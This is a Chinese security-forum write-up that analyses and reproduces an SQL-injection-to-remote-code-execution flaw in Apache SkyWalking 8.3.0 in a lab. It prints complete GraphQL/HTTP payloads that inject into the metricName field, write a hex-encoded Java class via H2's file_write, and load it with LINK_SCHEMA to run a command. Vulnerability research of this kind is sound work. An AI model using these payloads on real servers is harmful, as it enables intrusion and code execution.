问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Apache Skywalking 远程代码执行漏洞(CVE-2020-13921、CVE-2020-9483)
漏洞分析
# 一、环境: 1、https://www.anquanke.com/post/id/231753 (参考文章地址) 2、https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz(下载地址) 3、...
一、环境: ===== 1、<https://www.anquanke.com/post/id/231753> (参考文章地址) 2、[https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz(下载地址](https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz(%E4%B8%8B%E8%BD%BD%E5%9C%B0%E5%9D%80)) 3、[https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7(源码编译教程](https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7(%E6%BA%90%E7%A0%81%E7%BC%96%E8%AF%91%E6%95%99%E7%A8%8B)) 4、[https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz(源码地址](https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz(%E6%BA%90%E7%A0%81%E5%9C%B0%E5%9D%80)) 5、[https://www.runoob.com/w3cnote/java-class-forname.html(Class.forName原理解析](https://www.runoob.com/w3cnote/java-class-forname.html(Class.forName%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90)) 6、远程调试机以及攻击机(win10)、服务端(ubuntu) 二、搭建 ==== 1、解压该文件 进入bin目录,如下  2、Liunx启动`startup.sh`,windows启动`startup.bat` 3、启动后访问ip:8080(默认端口是8080,需要修改,可进入webapp目录下,修改webapp.yml),如下  4、出现下图即成功启动  三、分析过程 ====== 1、需先了解一下GraphQL流程以及查询语法的构造(这里我用自己的语言总结下,学的不是很深入) GraphQL主要分为4部分分别为: (1)`root.graphqls`(定义查询) (2)`AuthorQuery.java`(`GraphQLQueryResolver`) (3)`AuthorService.java`(`Service`) (4)实体类`Author`(实体类) 整体流程:首先需要根据`root.graphqls`构造符合请求格式的payload,然后通过`AuthorQuery.java`传递给`AuthorService.java`,最后`AuthorService.java`会调用实体类Author中的方法进行数据处理,然后返回结果。 注: `root.graphqls`是定义请求参数类型与格式的文件,例如下面两个句子 ```php type Author { id: Int! name: String photo: String } ``` 定义Author中返回数据的类型 ```php query{ findAuthorById(id:1){ id, name, photo } } ``` 定义query查询的格式,其中`findAuthorById`方法要与`AuthorQuery`中定义的方法一致,这样才能定位到`AuthorQuery`中。id:1是请求参数,id, name,photo是期望服务器的返回数据,可自行更改。注意上述两者可能在同一文件,也可能不在同一文件定义(一般是`root.graphqls`文件,如果不是的话,会有extend字段,要继承初始化的`root.graphql`,如下图)。  `AuthorQuery`相当于是接口开关,里面会有这么一段代码,相当于开启`GraphQL`查询接口`public class AuthorQuery implements GraphQLQueryResolver AuthorService.java`复制对传进数据的处理,类似加减乘除运算一样 实体类Author(实体类)一般是进行赋值作用,即对传进的参数赋值给新变量 个人理解和都可以对数据进行操作,看代码放在哪里而已。 2、跟进`skywalking`代码 (1)开启调试(这里使用win10当调试机) 文章开头有教程,就是把源码下载解压之后,在`skywalking`目录下,直接使用以下命令 `./mvnw clean package –DskipTests` 然后一直等待就好了,需要完全编译成功才行,过程一般会很久 (2)编译后的文件夹会多出一个target文件夹,如下  (3)使用idea新建项目,选中该文件夹即可  (4)点击idea下运行,编辑配置  一开始进来是没有远程调试的,直接点击左上角+号,添加远程端口  配置如下(其实主要是添加个远程主机地址和端口就可以了):  (5)在服务器端启动`skywalking`服务(记得,调试源码与你运行的源码版本需要一致,运行8.3就要下载8.3的源码去编译调试) 首先要在`apache-skywalking-apm-bin`的bin目录下编辑`oapService.sh`,添加远程调试命令,windows的就是编辑`oapService.bat`,如下 直接/CLASSPATH搜索即可  添加的命令就是上面图里的远程JVM的命令行参数,如下 -agentlib:jdwp=transport=dt\_socket,server=y,suspend=n,address=5006 (6)添加好了之后可以先直接运行`startup.sh`启动服务,然后再在需要的位置进行断点调试,不过我这边修改了`oapService.sh`之后,好像需要手动启动`./ oapService.sh`才能启动监听。如下,确定下端口服务都起来了  (7)然后回到win10的idea中,点击主页面右上角图标进行调试,出现下图即成功  3、分析`skywalking`漏洞 根据原文章可知漏洞点在`oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java`文件中 (1)直接在该处断点  (2)开启调试,发送以下payload(payload构造下面会进行说明) ```php { "query": "query queryLogs($condition: LogQueryCondition) { logs: queryLogs(condition: $condition) { data: logs { serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content } total } }", "variables": { "condition": { "metricName": "INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --", "endpointId":"1", "traceId":"1", "state":"ALL", "stateCode":"1", "paging":{ "pageNum": 1, "pageSize": 1, "needTotal": true } } } } ``` 可以看到`metricName` 原封不动的被带进sql参数中  继续跟进sql,发现被带入`buildCountStatement`  跟进`buildCountStatement`,看看返回的结果 直接把我们的注入语句返回,然后使用`executeQuery`函数执行返回。 直接把我们的注入语句返回,然后使用executeQuery函数执行返回。 (3)回溯 回到一开始,我们的注入点是在`queryLogs`函数中  往上追,看看是谁调用它的,可以看到`\skywalking\oap-server\servercore\src\main\java\org\apache\skywalking\oap\server\core\query\LogQueryService.java中对queryLogs`进行了调用 但是还是看不到入口,所以还是需要继续往上追,一直到 `E:\skywalking\skywalking\oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java` 可以看到一个熟悉的句子 `implements GraphQLQueryResolver` 实现`GraphQL`查询接口,所以我们可以直接构造`GraphQL`查询,发送至服务器  4、分析构造`payload` (1)前面说过`GraphQL`查询的整体流程,四个部分我们已经找到3个了。如下 `H2LogQueryDAO`、`LogQueryService`、`LogQuery` (2)现在要找的是`graphqls`文件,看看是怎么构造查询的 我先找了`root. Graphqls`,发现没有  直接搜`graphqls`,也很好猜,log肯定是,有两个`log.graphqls`,其实都是一样的,随便选一个看看是不是。  看到`queLogs`函数,基本确定了。因为一般跟`LogQuery.java`文件中的函数会一致,过程中也不会存在其他同名函数,不然就找不到路径了  (3)分析`log. graphqls` ###### 1、期待返回的参数,logs和total,后面是类型,有感叹号,表明为非空,就是必须有  ###### 2、Log匹配上面logs取值,上面的Log使用\[\]框柱,网上解析说是对象类型,非空的话,就只需要在Log里面随便取一个参数就可以  ###### 3、LogQueryCondition 看到input类型,就知道这里都是要我们提交的参数值,其中queryDuration参数可以不提交,可能是服务器那边会自动提交。(尝试提交会出错)  ###### 4、可以看看Duration类型的构造  ###### 5、enum表示后面的参数取值只能在它定义的值里面进行取值  (4)分析网上的payload  自己的理解如下 ###### 1、首先使用query表明自己的动作是查询 ###### 2、后面跟的是自己定义的函数queryLogs,这个是可以随便起的 ###### 3、($condition: LogQueryCondition)中的$condition是定义的变量,LogQueryCondition这里是变量类型 ###### 4、logs: queryLogs(condition: $condition),其中logs:是queryLogs(condition: $condition)的别名,可要可不要,queryLogs(condition: $condition)才是开始请求的构造,对应log.graphqls部分如下  这里的$condition对应我们上面创建的函数变量 ($condition: LogQueryCondition) 注意:LogQueryCondition类型已经在###### log.graphqls写死了,所以这里传进来的变量类型也只能是LogQueryCondition,而LogQueryCondition类型的构造在上面已经看过了。 ###### 5、接下来是data: logs,data:一样是别名,logs和下面的total都是期待服务器返回的数据,对应log.graphqls部分如下  其中logs对应的Logs构造如下,因为是非空,所以从里面选中一个就行,或者全部写上。(每个参数使用空格隔开即可)  ###### 6、variables,构造参数,此处对应的是LogQueryCondition类型的构造  总的来说:就是variables构造请求的类型值,也就是LogQueryCondition,然后传入queryLogs函数中,最后期待返回logs与total 还不懂就看下面的例子,自己去领悟吧  最后condition带的参数metricName就存在注入点,之前已经调试过了 四、复现(此处用ubuntu进行复现) =================== 1、开启服务之前说过了 2、利用注入点上传class文件 上传前  上传后  3、利用注入点执行class文件 执行前  执行后  注:上传的class文件利用注入点执行一次之后即失效,需重新开启服务验证。 五、远程代码执行漏洞 ========== 1、根据漏洞文档:[https://mp.weixin.qq.com/s/hB-r523\_4cM0jZMBOt6Vhw](https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw) 可知h2数据库中存在函数file\_write(blobValue,fileNameString) 该函数作用将16进制数据写入文件中。 2、搭建本地H2数据库(下载地址: [https://h2database.com/h2-setup-2019-10-14.exe),直接双击安装即可](https://h2database.com/h2-setup-2019-10-14.exe),%E7%9B%B4%E6%8E%A5%E5%8F%8C%E5%87%BB%E5%AE%89%E8%A3%85%E5%8D%B3%E5%8F%AF) 启动h2数据库,如下图  3、使用file\_write验证可直接创建文件  4、根据以上编写简单class文件,如下  5、直接在h2中使用file\_read()函数转成16进制,如图  6、使用以下payload直接提交 ```php POST /graphql HTTP/1.1 Host: 192.168.x.x:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Content-Length: 2090 Origin: http://192.168.27.135:8080 Connection: close Referer: http://192.168.27.135:8080/ { "query": "query queryLogs($condition: LogQueryCondition) { logs: queryLogs(condition: $condition) { data: logs { serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content } total } }", "variables": { "condition": { "metricName": "INFORMATION_SCHEMA.USERS union all select file_write('cafebabe00000032002a0a000a00160a0017001807001908001a08001b0a0017001c0a001d001e07001f0700200700210100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100083c636c696e69743e01000d537461636b4d61705461626c6507001f01000a536f7572636546696c6501000e546f75636846696c652e6a6176610c000b000c0700220c002300240100106a6176612f6c616e672f537472696e67010005746f75636801000f2f746d702f737563636573733132330c002500260700270c002800290100136a6176612f6c616e672f457863657074696f6e010009546f75636846696c650100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294900210009000a0000000000030001000b000c0001000d0000001d00010001000000052ab70001b100000001000e000000060001000000050009000f00100001000d000000190000000100000001b100000001000e0000000600010000001200080011000c0001000d000000680004000300000023b800024b05bd0003590312045359041205534c2a2bb600064d2cb6000757a700044bb100010000001e002100080002000e0000001e000700000008000400090013000a0019000b001e000e0021000c0022000f0012000000070002610700130000010014000000020015','TouchFile.class'))a where 1=? or 1=? or 1=? --", "endpointId":"1", "traceId":"1", "state":"ALL", "stateCode":"1", "paging":{ "pageNum": 1, "pageSize": 1, "needTotal": true } } } } ``` 7、服务器生成class文件如下  8、根据漏洞文档可知h2数据库中LINK\_SCHEMA函数会触发类加载行为,如下  其中的loadUserClass函数会使用到Class.forName()去加载类 9、Class.forName()解析  返回一个给定类或者接口的一个 Class 对象,如果没有给定 classloader, 那么会使用根类加载器。如果 initalize 这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化。 10、再看看loadUserClass怎么使用Class.forName()的  可以看到initalize 为true,也就是说,当第一次使用这个类的时候,会进行初始化 11、初始化的重点在于类当中的静态代码块会被执行,所以我们把代码写进static块让它执行  代码如下 ```php javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success123"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } public static void main(String args[]) { } } ``` 注:文件名要与class名称一致,不然生成类时会报错 12、生成恶意类 `javac evil.java -target 1.6 -source 1.6`  13、最后执行payload进行RCE(漏洞文档已知第二个参数是class文件名,此处直接代入即可) ```php { "query": "query queryLogs($condition: LogQueryCondition) { logs: queryLogs(condition: $condition) { data: logs { serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content } total } }", "variables": { "condition": { "metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','TouchFile','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --", "endpointId":"1", "traceId":"1", "state":"ALL", "stateCode":"1", "paging":{ "pageNum": 1, "pageSize": 1, "needTotal": true } } } } ```
发表于 2021-11-26 09:32:08
阅读 ( 6915 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
菜菜子
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!